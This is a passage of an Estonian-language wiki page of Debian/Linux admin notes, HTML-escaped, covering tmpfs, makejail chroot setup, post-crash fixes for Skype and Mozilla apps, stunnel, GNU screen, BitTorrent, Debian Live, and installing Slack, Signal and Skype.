    Unmount shoW-blocked-tasks &lt;br /&gt;
&lt;br /&gt;
====Serial konsoolilt====&lt;br /&gt;
&lt;br /&gt;
Serial konsoolilt saab tuumale SysRq signaali saata valides Break + täht.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===RAM failisüsteemid===&lt;br /&gt;
&lt;br /&gt;
RAM failisüsteem võimaldab kasutada arvuti virtuaalmälu st RAM + swap ressursse failisüsteemina, nt sellised tehnikad&lt;br /&gt;
&lt;br /&gt;
* tmpfs - tundub, et 2016 aasta seisuga on see üldiselt soovitatav ram failisüsteem, mõnes kohas kirjandus väidab, et tmpfs ei võimalda failisüsteemi suurust piirata, paistab, et see siiski ei ole nii&lt;br /&gt;
* ramfs - legacy ramfs, 2016 aasta seisuga üldiselt ei soovitata kasutada&lt;br /&gt;
&lt;br /&gt;
====tmpfs====&lt;br /&gt;
&lt;br /&gt;
tmpfs võimaldab kasutada arvuti virtuaalmälu st RAM + swap ressursse failisüsteemina. Kasutamine toimub selliselt&lt;br /&gt;
&lt;br /&gt;
 # mkdir /mnt/tmpfs&lt;br /&gt;
 # mount -t tmpfs -o size=48g tmpfs /mnt/tmpfs&lt;br /&gt;
&lt;br /&gt;
Kuna failisüsteem asub mälus, siis ta töötab kiiresti&lt;br /&gt;
&lt;br /&gt;
 # dd if=/dev/zero of=/mnt/tmpfs/1G bs=1M count=1024&lt;br /&gt;
 1024+0 records in&lt;br /&gt;
 1024+0 records out&lt;br /&gt;
 1073741824 bytes (1.1 GB) copied, 0.981817 s, 1.1 GB/s&lt;br /&gt;
&lt;br /&gt;
Traditsiooniline tmpfs ühenduspunkt tmpfs jaoks on /dev/shm mis on ka vaikimisi Debian Lenny puhul kasutuses&lt;br /&gt;
&lt;br /&gt;
 # df -h&lt;br /&gt;
 Filesystem               Size  Used Avail Use% Mounted on&lt;br /&gt;
 /dev/mapper/system-root  4.0G  3.6G  236M  94% /&lt;br /&gt;
 tmpfs                    3.9G     0  3.9G   0% /lib/init/rw&lt;br /&gt;
 udev                      10M   60K   10M   1% /dev&lt;br /&gt;
 tmpfs                    3.9G  4.0K  3.9G   1% /dev/shm&lt;br /&gt;
 /dev/sda1                107M   82M   20M  81% /boot&lt;br /&gt;
&lt;br /&gt;
Süsteemi poolt vaikimisi kasutatavate tmpfs failisüsteemides on nt selline sisu&lt;br /&gt;
&lt;br /&gt;
 # find /dev/shm -ls&lt;br /&gt;
 5812    0 drwxrwxrwt   3 root     root           60 Jul 19 08:25 /dev/shm/&lt;br /&gt;
 5964    0 drwxr-xr-x   2 root     root           60 Jul 19 08:25 /dev/shm/network&lt;br /&gt;
 6019    4 -rw-r--r--   1 root     root           16 Jul 19 08:25 /dev/shm/network/ifstate&lt;br /&gt;
&lt;br /&gt;
ja &lt;br /&gt;
&lt;br /&gt;
 # find /lib/init/rw&lt;br /&gt;
 /lib/init/rw&lt;br /&gt;
 /lib/init/rw/sendsigs.omit.d&lt;br /&gt;
 /lib/init/rw/sendsigs.omit.d/portmap&lt;br /&gt;
 /lib/init/rw/.ramfs&lt;br /&gt;
&lt;br /&gt;
Lisaks on /dev failisüsteem udev kasutamisel tmpfs peal, üldiselt sobib konkreetse süsteemi puhul küsida&lt;br /&gt;
&lt;br /&gt;
 # mount | grep tmpfs&lt;br /&gt;
&lt;br /&gt;
====ramfs====&lt;br /&gt;
&lt;br /&gt;
 # mkdir /mnt/ramfs&lt;br /&gt;
 # mount -t ramfs -o size=200m ramfs /mnt/ramfs&lt;br /&gt;
&lt;br /&gt;
====Kasulikud lisamaterjalid====&lt;br /&gt;
&lt;br /&gt;
* https://www.jamescoyle.net/knowledge/951-the-difference-between-a-tmpfs-and-ramfs-ram-disk&lt;br /&gt;
&lt;br /&gt;
===makejail abil chroot keskkonna moodustamine===&lt;br /&gt;
&lt;br /&gt;
Makejail programm abil saab moodustada chroot keskkonda, paigaldamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # apt-get install makejail&lt;br /&gt;
&lt;br /&gt;
Programmi tööd juhib seadistusfail, nt /root/makejail-bash.py, kus on antud juhul näidatud&lt;br /&gt;
&lt;br /&gt;
* kuhu kataloogi moodustada chroot keskkond&lt;br /&gt;
* lisada sinna /bin/bash shell ning vastavad teegid lisada (antud juhul kasutatakse AMD64 platvormi)&lt;br /&gt;
&lt;br /&gt;
 # cat /root/makejail-bash.py&lt;br /&gt;
 chroot=&amp;quot;/home/mart&amp;quot;&lt;br /&gt;
 forceCopy=[&amp;quot;/lib64/ld-linux-x86-64.so.2&amp;quot;, &amp;quot;/bin/bash&amp;quot;,&amp;quot;/lib/ld-linux-x86-64.so.2&amp;quot;]&lt;br /&gt;
&lt;br /&gt;
moodustame kataloogi /home/mart&lt;br /&gt;
&lt;br /&gt;
 bash# mkdir /home/mart&lt;br /&gt;
&lt;br /&gt;
ning moodustame sinna alla chroot keskkonna&lt;br /&gt;
&lt;br /&gt;
 bash# makejail /root/makejail-bash.py&lt;br /&gt;
 Loading configuration file /root/makejail.py&lt;br /&gt;
   Defining chroot = '/home/mart'&lt;br /&gt;
   Defining forceCopy = ['/bin/bash']&lt;br /&gt;
 Chroot directory is /home/mart&lt;br /&gt;
 Initializing list of running processes&lt;br /&gt;
   Executing : ps -e&lt;br /&gt;
 Creating temp dir /tmp/makejail_logs&lt;br /&gt;
 Adding files matching '/bin/bash'&lt;br /&gt;
   Checking path '/bin/bash'&lt;br /&gt;
      Dir '/home/mart/bin' missing&lt;br /&gt;
      Checking path '/bin'&lt;br /&gt;
         Making dir /home/mart/bin&lt;br /&gt;
  ..&lt;br /&gt;
   Creating 'lib/libncurses.so.5' as a symlink to 'libncurses.so.5.5' (pwd=/home/mart/lib)&lt;br /&gt;
   Executing : file /lib/libncurses.so.5&lt;br /&gt;
 Sleeping for 2.00 seconds&lt;br /&gt;
&lt;br /&gt;
Tulemusena tekib selline failistruktuur&lt;br /&gt;
&lt;br /&gt;
 bash# cd /home&lt;br /&gt;
 bash# find mart -ls&lt;br /&gt;
 507962    4 drwxr-xr-x   4 root     root         4096 Sep  9 15:12 mart&lt;br /&gt;
 507963    4 drwxr-xr-x   2 root     root         4096 Sep  9 15:12 mart/lib&lt;br /&gt;
 507968 1260 -rwxr-xr-x   1 root     root      1286104 May 15 13:19 mart/lib/libc-2.3.6.so&lt;br /&gt;
 507972    0 lrwxrwxrwx   1 root     root           17 Sep  9 15:12 mart/lib/libncurses.so.5 -&amp;gt; libncurses.so.5.5&lt;br /&gt;
 507973  100 -rwxr-xr-x   1 root     root        97928 May 15 13:19 mart/lib/ld-2.3.6.so&lt;br /&gt;
 507967  368 -rw-r--r--   1 root     root       369728 Oct 19  2006 mart/lib/libncurses.so.5.5&lt;br /&gt;
 507974    0 lrwxrwxrwx   1 root     root           11 Sep  9 15:12 mart/lib/ld-linux-x86-64.so.2 -&amp;gt; ld-2.3.6.so&lt;br /&gt;
 507970   12 -rw-r--r--   1 root     root        10392 May 15 13:19 mart/lib/libdl-2.3.6.so&lt;br /&gt;
 507971    0 lrwxrwxrwx   1 root     root           14 Sep  9 15:12 mart/lib/libdl.so.2 -&amp;gt; libdl-2.3.6.so&lt;br /&gt;
 507969    0 lrwxrwxrwx   1 root     root           13 Sep  9 15:12 mart/lib/libc.so.6 -&amp;gt; libc-2.3.6.so&lt;br /&gt;
 507964    0 lrwxrwxrwx   1 root     root            4 Sep  9 15:12 mart/lib64 -&amp;gt; /lib&lt;br /&gt;
 507965    4 drwxr-xr-x   2 root     root         4096 Sep  9 15:12 mart/bin&lt;br /&gt;
 507966  756 -rwxr-xr-x   1 root     root       769368 Dec 11  2006 mart/bin/bash&lt;br /&gt;
&lt;br /&gt;
Selleks, et veenduda kas kasutaja chroot keskkonna tekitamine õnnestus tuleb öelda, mille vastuseks saab shelli (ja siis öelda exit)&lt;br /&gt;
&lt;br /&gt;
 bash# chroot /home/mart&lt;br /&gt;
 bash# &lt;br /&gt;
&lt;br /&gt;
Nt sobib makejaili kasutada OpenSSH kasutajate chrootimisel.&lt;br /&gt;
&lt;br /&gt;
Seda, kas protsess töötab chroot keskkonnas saab kontrollida nt küsides vastava pid kohta, kuis link on mitte / kataloogile, siis on protsess näidatud kataloogi chroot'itud&lt;br /&gt;
&lt;br /&gt;
 # ls -ld /proc/11091/root&lt;br /&gt;
 lrwxrwxrwx 1 root root 0 Feb  2 22:39 /proc/11091/root -&amp;gt; /home/mart&lt;br /&gt;
&lt;br /&gt;
===Peale crashi Debiani käima-aitamine===&lt;br /&gt;
&lt;br /&gt;
Kui Debiani süsteem on crashinud, nt voolu kadumise tõttu, siis enamasti ext3 failisüsteem korrigeerib ennast ise, aga mõned rakendused on segaduses.&lt;br /&gt;
&lt;br /&gt;
====Skype====&lt;br /&gt;
&lt;br /&gt;
Skype teatab vahel, et 'Another Skype instance may exist', sel puhul ei pruugi aitada lock failide eemaldamine&lt;br /&gt;
&lt;br /&gt;
  $ rm .Skype/shared.lck .Skype/martkask/config.lck&lt;br /&gt;
&lt;br /&gt;
aga võib aitada selline järgnevus&lt;br /&gt;
&lt;br /&gt;
* käivitada Skype -dhpath võtmega ja logida korra sisse ning sulgeda programm (Quit), st nii, et protsess skype kaob&lt;br /&gt;
&lt;br /&gt;
  $ skype --dbpath=/home/mart/skype-tmp&lt;br /&gt;
&lt;br /&gt;
* selleks, et chat history jms säiliks, kopeerida vana sisuga üle kontole vastava kastaloogi sisu&lt;br /&gt;
&lt;br /&gt;
  $ rsync -avH /home/mart/.Skype/martkask/ /home/mart/skype-tmp/martkask&lt;br /&gt;
  $ mv /home/mart/.Skype /home/mart/.Skype-20090811-mittetootav&lt;br /&gt;
  $ mv /home/mart/skype-tmp /home/mart/.Skype&lt;br /&gt;
&lt;br /&gt;
* katsuda kasutada Skype'i edasi tavapärasel moel&lt;br /&gt;
&lt;br /&gt;
====Icedove====&lt;br /&gt;
&lt;br /&gt;
Programm ütleb käivitamisel, et '...', aitab kustutada failid&lt;br /&gt;
&lt;br /&gt;
  $ rm /home/mart/.mozilla-thunderbird/r4t56nog.default/.parentlock&lt;br /&gt;
  $ rm /home/mart/.mozilla-thunderbird/r4t56nog.default/lock&lt;br /&gt;
&lt;br /&gt;
ja proovida tavalisel moel edasi kasutada. Kontod jms seadistused peaksid nõnda säilima.&lt;br /&gt;
&lt;br /&gt;
====Iceweasel====&lt;br /&gt;
&lt;br /&gt;
Kui Iceweaseli kataloog .mozilla on ühendatud üle NFS'i siis on peale süsteemi crashi Iceweasel üsna katki. St *\lock\* failide eemaldamine näib mitte aitavat jne, väidetavalt on asi NFS ja Iceweaseli koostöös, tundub, et aitab korra .mozilla kataloog kokku ja lahti pakkida&lt;br /&gt;
&lt;br /&gt;
  $ tar cf .mozilla.tar .mozilla&lt;br /&gt;
  $ rm -rf .mozilla&lt;br /&gt;
  $ tar xf .morilla.tar&lt;br /&gt;
  $ rm .mozilla.tar&lt;br /&gt;
&lt;br /&gt;
===Stunnel4 kasutamine===&lt;br /&gt;
&lt;br /&gt;
Stunnel http://www.stunnel.org/ tarkvara võimaldab ühendada kokku krüptimist iseenesest mitte toetavat klienti ja krüptitud teenust, või vastupidi. Või korraldada krüptimist mitte toetava kliendi ja serveri vahel siiski krüptitud andmevahetust.&lt;br /&gt;
&lt;br /&gt;
Paigaldamiseks tuleb öelda&lt;br /&gt;
&lt;br /&gt;
  # apt-get install stunnel4&lt;br /&gt;
&lt;br /&gt;
====Stunnel4 kliendi kasutamine krüptitud teenuse poole pöördumisel====&lt;br /&gt;
&lt;br /&gt;
Seadistusfaili /etc/stunnel/stunnel.conf sobib kirjutada&lt;br /&gt;
&lt;br /&gt;
  sslVersion = SSLv3&lt;br /&gt;
  chroot = /var/lib/stunnel4/&lt;br /&gt;
  setuid = stunnel4&lt;br /&gt;
  setgid = stunnel4&lt;br /&gt;
  pid = /stunnel4.pid&lt;br /&gt;
  &lt;br /&gt;
  socket = l:TCP_NODELAY=1&lt;br /&gt;
  socket = r:TCP_NODELAY=1&lt;br /&gt;
  &lt;br /&gt;
  output = /var/log/stunnel4/stunnel.log&lt;br /&gt;
  &lt;br /&gt;
  client = yes&lt;br /&gt;
  &lt;br /&gt;
  [smtps]&lt;br /&gt;
  accept  = 127.0.0.1:46525&lt;br /&gt;
  connect = smtps.loomaaed.tartu.ee:465&lt;br /&gt;
&lt;br /&gt;
tulemusena saab pöörduda smtp kliendiga krüptimata localhost:46525 porti, mida vahendatakse smtps.loomaaed.tartu.ee 465 krüptitud pordiga.&lt;br /&gt;
&lt;br /&gt;
===Terminalihaldusprogrammi Screen kasutamine===&lt;br /&gt;
&lt;br /&gt;
screen tarkvara peab olema paigaldatud kaughallatavasse arvutisse&lt;br /&gt;
&lt;br /&gt;
  # apt-get install screen&lt;br /&gt;
&lt;br /&gt;
* screen käivitamiseks logida eemal olevasse arvutisse sisse ja öelda&lt;br /&gt;
&lt;br /&gt;
 $ screen&lt;br /&gt;
&lt;br /&gt;
* Ctrl-a, c - tekita uus aken&lt;br /&gt;
* Ctrl-a, n - liigu järgmisse aknasse&lt;br /&gt;
* Ctrl-a, d - lase screenist lahti&lt;br /&gt;
* esita nimekiri arvutis olevatest kasutaja screenidest&lt;br /&gt;
  &lt;br /&gt;
 $ screen -ls&lt;br /&gt;
 There is a screen on:&lt;br /&gt;
         2807.pts-5.pg2a     (Detached)&lt;br /&gt;
 1 Socket in /var/run/screen/S-postgres.&lt;br /&gt;
&lt;br /&gt;
* ühendu näidatud screeniga&lt;br /&gt;
&lt;br /&gt;
 $ screen -r 2807.pts-5.pg2a&lt;br /&gt;
&lt;br /&gt;
Süsteemis töötavate screenidele vastavaid protsesse näeb öeldes&lt;br /&gt;
&lt;br /&gt;
 # ps aux | grep SCREEN&lt;br /&gt;
&lt;br /&gt;
Mitmekasutajarežiimis screen kasutamiseks saavad järgmised kasutajad ühenduda külge öeldes&lt;br /&gt;
&lt;br /&gt;
 $ screen -x&lt;br /&gt;
&lt;br /&gt;
Screen logimiseks on -L võti, logi kirjutatakse faili screenlogN.log, või ^a-H.&lt;br /&gt;
&lt;br /&gt;
Kui screen on attached olekus, aga vastav terminaliaken on nö kadunud, siis resumemiseks tuleb enne force'ida detach&lt;br /&gt;
&lt;br /&gt;
 $ screen -D&lt;br /&gt;
&lt;br /&gt;
===IEEE 802.1X kasutamine===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
* http://en.wikipedia.org/wiki/IEEE_802.1X&lt;br /&gt;
* http://www.cesnet.cz/doc/techzpravy/2007/802.1x-wired-authentication/&lt;br /&gt;
&lt;br /&gt;
===Bittorrent===&lt;br /&gt;
&lt;br /&gt;
Bittorrent on levinud P2P  (peer-to-peer, ingl. k. osaliselt-osalisele) andmevahetusprotokoll, millele on iseloomulik, et suhtlemine leiab olulises osas aset otse osaliste endi vahel. Andmevahetusprotokoll on orienteeritud pigem suuremamahulisema andmevahetuse jaoks ning kopeeritud andmeid reeglina ei saa kasutada nö reaalajas kopeerimise käigus, vaid peale kopeerimise lõppu sobiva rakendusega. Nt kui tegu on video-materjaliga, siis saab seda videot asuda vaatama peale kopeerimise lõppu, mitte aga kopeerimise ajal.&lt;br /&gt;
&lt;br /&gt;
====Bittorrenti kliendi kasutamine andmete kopeerimiseks====&lt;br /&gt;
&lt;br /&gt;
Andmete kopeerimiseks võrgust kohalikku arvutisse on vaja teada huvipakkuva ressursi nö aadressi, mis esineb .torrent faili kujul. Nt jagatakse aadressilt http://www.debian.org/CD/torrent-cd/ edasi liikudes Debian operatsioonisüsteemi .torrent faile&lt;br /&gt;
&lt;br /&gt;
  http://cdimage.debian.org/debian-cd/5.0.3/amd64/bt-cd/debian-503-amd64-CD-1.iso.torrent&lt;br /&gt;
&lt;br /&gt;
Debian Linux sisaldab mitmeid bittorrent kliente (nt rtorrent, qbittorrent, bittorrent, bittornado jt), mis võivad erineda kõigi või mõne aspekti poolest järgnevatest&lt;br /&gt;
&lt;br /&gt;
* millises mahus on bittorrent protokoll toetatud&lt;br /&gt;
* kas programmil on graafiline, pseudo-graafiline (nn curses) või käsurea kasutajaliides&lt;br /&gt;
&lt;br /&gt;
Konkreetselt qbittorrent kasutajaliides näeb välja nt selline&lt;br /&gt;
&lt;br /&gt;
[[Pilt:bittorrent-1.gif]]&lt;br /&gt;
&lt;br /&gt;
kust on näha&lt;br /&gt;
&lt;br /&gt;
* kopeeritakse faili debian-503-amd64-CD-1.iso&lt;br /&gt;
* DL Speed on allalaadimise kiirus ja UP Speed üleslaadimise kiirus&lt;br /&gt;
* Seeds/Leechs näitab kui paljudelt osalistelt kasutaja kopeerib ja kui paljud temalt edasi kopeerivad&lt;br /&gt;
* sakil Search saab vaikimisi qbittorrenti klienti seadistatud trackereid kasutada otsinguks ja otsingu tulemustena leitud .torrenteid kopeerida&lt;br /&gt;
&lt;br /&gt;
Kopeerimise alustamiseks tuleb valida nupp BT ning kopeerida sinna .torrent faili aadress, nt&lt;br /&gt;
&lt;br /&gt;
  http://cdimage.debian.org/debian-cd/5.0.3/amd64/bt-cd/debian-503-amd64-CD-1.iso.torrent&lt;br /&gt;
&lt;br /&gt;
====Bittorrent kliendi kasutamine andmete jagamiseks====&lt;br /&gt;
&lt;br /&gt;
Bittorrentiga on algajal kasutajal oluliselt lihtsam kopeerida andmeid endale kui pakkuda välja oma andmeid teistele kasutajatele.&lt;br /&gt;
&lt;br /&gt;
.torrenti moodustamiseks sobib öelda (programmid on paketist bittorrent) eeldusel, et on olemas fail andmed.iso&lt;br /&gt;
&lt;br /&gt;
  $ btmakemetafile.bittorrent andmed.iso http://torrent.loomaaed.tartu.ee:80/announce&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* andmed.iso - lähtematerjal, mida asutakse välja jagama&lt;br /&gt;
* http://torrent.loomaaed.tartu.ee:80/announce - trackeri aadress&lt;br /&gt;
&lt;br /&gt;
Käsu tulemusena moodustatakse vastav .torrent fail&lt;br /&gt;
&lt;br /&gt;
  andmed.iso.torrent&lt;br /&gt;
&lt;br /&gt;
ning seejärel saab seda välja jagada nt nii&lt;br /&gt;
&lt;br /&gt;
  $ btdownloadcurses.bittorrent andmed.iso.torrent&lt;br /&gt;
&lt;br /&gt;
====Kohaliku trackeri kasutamine====&lt;br /&gt;
&lt;br /&gt;
bittorrent pakett sisaldab bittorrent tracker programmi bttrack. Trackeri käivitamiseks sobib öelda lihtsamal juhul&lt;br /&gt;
&lt;br /&gt;
  # bttrack --dfile dfail.log&lt;br /&gt;
&lt;br /&gt;
mille tulemusena käivitub pordil 80 spetsiaalne http server, mis on valmis võtma vastu bittorrent klientide poolt infot andmete väljajagamise kohta ja teenindama bittorrenti kliente, kes soovivad andmeid endale kopeerida.&lt;br /&gt;
&lt;br /&gt;
Selliselt käivitatud trackerit saab kasutada nt organisatsiooni siseselt, iseasi kas sellisel kasutusel erilist praktilist väärtust on.&lt;br /&gt;
&lt;br /&gt;
====Transmission====&lt;br /&gt;
&lt;br /&gt;
Transmission tarkvaral on mitmed kasutajaliidesed, muu hulgas käsurealt kasutamise võimalus. Tarkvara paigaldamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # apt-get install transmission-cli&lt;br /&gt;
&lt;br /&gt;
Seejärel tuleb tekitada seadistusfail nt sellise sisuga ning moodustada näidatud kataloogid&lt;br /&gt;
&lt;br /&gt;
 $ cat ~/.config/transmission/settings.json&lt;br /&gt;
 {&lt;br /&gt;
   &amp;quot;download-dir&amp;quot;: &amp;quot;/home/priit/transm&amp;quot;, &lt;br /&gt;
   &amp;quot;incomplete-dir&amp;quot;: &amp;quot;/home/priit/transm-incomplete&amp;quot;, &lt;br /&gt;
   &amp;quot;incomplete-dir-enabled&amp;quot;: true, &lt;br /&gt;
   &amp;quot;open-dialog-dir&amp;quot;: &amp;quot;/home/priit&amp;quot;, &lt;br /&gt;
   &amp;quot;recent-download-dir-1&amp;quot;: &amp;quot;/home/priit/transm&amp;quot;, &lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
kusjuures esimesel käivitamisel kirjutab sinna programm paljude muude seadistusparameetrite vaikeväärtused lisaks juurde. Käivitamiseks sobib öelda nt&lt;br /&gt;
&lt;br /&gt;
 $ /usr/bin/transmission-cli /tmp/proxmox-ve_3.1-93bf03d4-8.iso.torrent&lt;br /&gt;
&lt;br /&gt;
Tulemusena tekib fail&lt;br /&gt;
&lt;br /&gt;
 transm/proxmox-ve_3.1-93bf03d4-8.iso&lt;br /&gt;
&lt;br /&gt;
===Amule===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
===Debian Live===&lt;br /&gt;
&lt;br /&gt;
Debian Live projekt http://debian-live.alioth.debian.org/ tegeleb selliste vahendite ettevalmistamisega, millega kasutaja saab moodustada oma vajaduste rahuldamiseks sobivaid operatsioonisüsteemi tõmmiseid. Live keskkonnale on iseloomulik, et operatsioonisüsteem laaditakse mingilt nö mitte-kõvakettalt, vaid nt CD/DVD plaadilt, USB pulgalt või võrgust ning et sellise keskkonna kasutamine ei mõjuta arvuti lokaalse kõvaketta olekut.&lt;br /&gt;
&lt;br /&gt;
====live-helper====&lt;br /&gt;
&lt;br /&gt;
Tarkvara paigaldamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
  # apt-get install live-helper&lt;br /&gt;
&lt;br /&gt;
Tarkvara kasutamist on kirjeldatud aadressil http://live.debian.net/manual/html/index.html.&lt;br /&gt;
&lt;br /&gt;
Nt alglaadiva usb pulga tõmmise ettevalmistamiseks sobib kasutada&lt;br /&gt;
&lt;br /&gt;
  # mkdir /usr/src/live&lt;br /&gt;
  # cd /usr/src/live&lt;br /&gt;
  # ld_config&lt;br /&gt;
  # ld_build -b usb-hdd&lt;br /&gt;
&lt;br /&gt;
Tulemusena tekib fail binary.img mida saab kopeerida nt Windows Vista keskkonnas USB pulgale programmiga http://www.pendrivelinux.com/universal-usb-installer-easy-as-1-2-3/.&lt;br /&gt;
&lt;br /&gt;
Tulemuse katsetamiseks sobib qemu, sedasi&lt;br /&gt;
&lt;br /&gt;
  # qemu -hda binary.img&lt;br /&gt;
&lt;br /&gt;
====live-magic====&lt;br /&gt;
&lt;br /&gt;
Tarkvara paigaldamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
  # apt-get install live-magic&lt;br /&gt;
&lt;br /&gt;
Debian Live Magic programmi käivitamiseks tuleb öelda juurkasutajana&lt;br /&gt;
&lt;br /&gt;
  # live-magic&lt;br /&gt;
&lt;br /&gt;
ning avaneb järgnev pilt&lt;br /&gt;
&lt;br /&gt;
[[Pilt:Debian-live-1.gif]]&lt;br /&gt;
&lt;br /&gt;
kus tuleb valida, millist Live keskkonda ettevalmistama asutakse.&lt;br /&gt;
&lt;br /&gt;
===Slack kasutamine===&lt;br /&gt;
&lt;br /&gt;
Slack https://slack.com/ paigaldamiseks sobib kopeerida .deb fail ning öelda&lt;br /&gt;
&lt;br /&gt;
 # apt-get install failinimi.deb&lt;br /&gt;
&lt;br /&gt;
Paistab, et tarkvara paigaldamise käigus tekitatakse fail&lt;br /&gt;
&lt;br /&gt;
 # cat /mnt/kontdeb9/etc/apt/sources.list.d/slack.list &lt;br /&gt;
 deb https://packagecloud.io/slacktechnologies/slack/debian/ jessie main&lt;br /&gt;
&lt;br /&gt;
===Signal kasutamine===&lt;br /&gt;
&lt;br /&gt;
Tarkvara kopeerimiseks https://signal.org/download/&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# cat /etc/apt/sources.list.d/signal-xenial.list &lt;br /&gt;
deb [arch=amd64] https://updates.signal.org/desktop/apt xenial main&lt;br /&gt;
&lt;br /&gt;
# curl -s https://updates.signal.org/desktop/apt/keys.asc | sudo apt-key add -&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ja paigaldamiseks&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# apt-get update&lt;br /&gt;
# apt-get install signal-desktop&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Skype kasutamine===&lt;br /&gt;
&lt;br /&gt;
Aadressil http://www.skype.com/ jagatakse Skype tarkvara mitmel erineval kujul&lt;br /&gt;
&lt;br /&gt;
* 32 bit&lt;br /&gt;
* 64 bit&lt;br /&gt;
* staatiliselt lingitud&lt;br /&gt;
&lt;br /&gt;
====2017 - Skype v. 5.0 kasutamine====&lt;br /&gt;
&lt;br /&gt;
Märkus: 2017 kevadel on v. 5.0 beta, mis praktiliselt tähendab, et muidu töötab, aga chat histori otsingut pole.&lt;br /&gt;
&lt;br /&gt;
Lisada võti&lt;br /&gt;
&lt;br /&gt;
 # curl https://repo.skype.com/data/SKYPE-GPG-KEY | sudo apt-key add -&lt;br /&gt;
&lt;br /&gt;
lisada fail /etc/apt/sources.list.d/skypeforlinux.list&lt;br /&gt;
&lt;br /&gt;
 # cat /etc/apt/sources.list.d/skypeforlinux.list&lt;br /&gt;
 deb [arch=amd64] https://repo.skype.com/deb stable main&lt;br /&gt;
&lt;br /&gt;
ja paigaldada&lt;br /&gt;
&lt;br /&gt;
 # apt-get update&lt;br /&gt;
 # apt-get install skypeforlinux&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* https://www.ubuntuupdates.org/ppa/skypeforlinux&lt;br /&gt;
&lt;br /&gt;
====pre 2017 - Skype kasutamine 64 bit keskkonnas====&lt;br /&gt;
&lt;br /&gt;
Süsteemi etteavalmistamisel tuleb paigaldada paketid ia32-libs-gtk ja libqt4-dev&lt;br /&gt;
&lt;br /&gt;
 # apt-get install ia32-libs-gtk libqt4-dev&lt;br /&gt;
&lt;br /&gt;
Seejärel skype 64 bit pakett, muus osas peaks töötama kuigi käivitamisel öeldakse&lt;br /&gt;
&lt;br /&gt;
 $ skype &lt;br /&gt;
 Gtk-Message: Failed to load module &amp;quot;canberra-gtk-module&amp;quot;: \&lt;br /&gt;
   /usr/lib/gtk-2.0/modules/libcanberra-gtk-module.so: wrong ELF class: ELFCLASS64&lt;br /&gt;
 (&amp;lt;unknown&amp;gt;:6901): Gtk-WARNING **: /usr/lib/gtk-2.0/2.10.0/engines/libglide.so: &lt;br /&gt;
   wrong ELF class: ELFCLASS64&lt;br /&gt;
&lt;br /&gt;
====Skype kasutamine Debian Wheezy multiarch keskkonnas====&lt;br /&gt;
&lt;br /&gt;
* kopeerida Skype lokaalsesse reposse - http://www.auul.pri.ee/wiki/Operatsioonis%C3%BCsteemi_Debian_GNU/Linux_paketihalduse_kasutamine#Privaatse_failis.C3.BCsteemi_repositooriumi_kasutamine&lt;br /&gt;
* lisada süsteemile i386 arhitektuur - http://www.auul.pri.ee/wiki/Operatsioonis%C3%BCsteemi_Debian_GNU/Linux_kasutamine#Multiarch_kasutamine&lt;br /&gt;
* paigaldada skype&lt;br /&gt;
&lt;br /&gt;
 # apt-get install skype:i386&lt;br /&gt;
&lt;br /&gt;
====Skype v. 8.x kasutamine====&lt;br /&gt;
&lt;br /&gt;
Kui järgmine v. 8.y versioon ei sobi, siis saab eelmise x. 8.x paigaldada nt selliselt&lt;br /&gt;
&lt;br /&gt;
 # apt-get install skypeforlinux=8.11.0.4&lt;br /&gt;
&lt;br /&gt;
Nimekiri variantidest on näha aadressil https://repo.skype.com/deb/pool/main/s/skypeforlinux/&lt;br /&gt;
&lt;br /&gt;
====Skyperious====&lt;br /&gt;
&lt;br /&gt;
Head inimesed on programmeerinud Python keeles tarkvara Skyperious http://suurjaak.github.io/Skyperious/index.html, mille abil saab Skype andmebaaside sisu, st praktiliselt jutuajamist ajalugu, uurida ilma Skype programmi enda, võrguühenduse jms olemasoluta. Tundub, et programm kasutab asjaolu, et vastav andmebaas on praktiliselt SQLite andmebaas. Praktiliselt võib see olla abiks kui Skype versiooni uuendamisel ei õnnestu chat history sisu uude versiooni kaasa võtta, nt v. 4.2 -&amp;gt; 4.3 uuendamisel Linux all. Skyperiuos kasutajaliides paistab selline&lt;br /&gt;
&lt;br /&gt;
[[Pilt:Skyperious-1.gif]]&lt;br /&gt;
&lt;br /&gt;
Tarkvara paigaldamist kirjeldatakse aadressil https://github.com/suurjaak/Skyperious. Lühidalt tuleb Debian Jessie all öelda&lt;br /&gt;
&lt;br /&gt;
 # apt-get install wx2.8-i18n libwxgtk2.8-dev libgtk2.0-dev&lt;br /&gt;
 # apt-get install python-wxgtk2.8 python-wxtools&lt;br /&gt;
 # apt-get install python-pip&lt;br /&gt;
&lt;br /&gt;
Seejärel lähtetekst lahti pakkida ja öelda&lt;br /&gt;
&lt;br /&gt;
 # pip install --allow-all-external --allow-unverified -r requirements&lt;br /&gt;
&lt;br /&gt;
Kasutajana käivitamisel öeldakse alustuseks&lt;br /&gt;
&lt;br /&gt;
 $ skyperious.sh&lt;br /&gt;
 -su: skyperious.sh: /bin/sh^M: bad interpreter: No such file or directory&lt;br /&gt;
&lt;br /&gt;
millest saab üle nn dos reavahetuste eemaldamisega&lt;br /&gt;
&lt;br /&gt;
 # fromdos skyperious.sh&lt;br /&gt;
&lt;br /&gt;
====Misc====&lt;br /&gt;
&lt;br /&gt;
Skype vestlusaknas saab teksti parandada nn Sed süntaksit kasutades&lt;br /&gt;
&lt;br /&gt;
  mart: priiti, ei ole võimalik&lt;br /&gt;
  &lt;br /&gt;
  ,-------------------------------,&lt;br /&gt;
  | s/priiti/Priit/               |&lt;br /&gt;
  |_______________________________|&lt;br /&gt;
&lt;br /&gt;
http://share.skype.com/sites/linux/2009/09/some_explanations.html&lt;br /&gt;
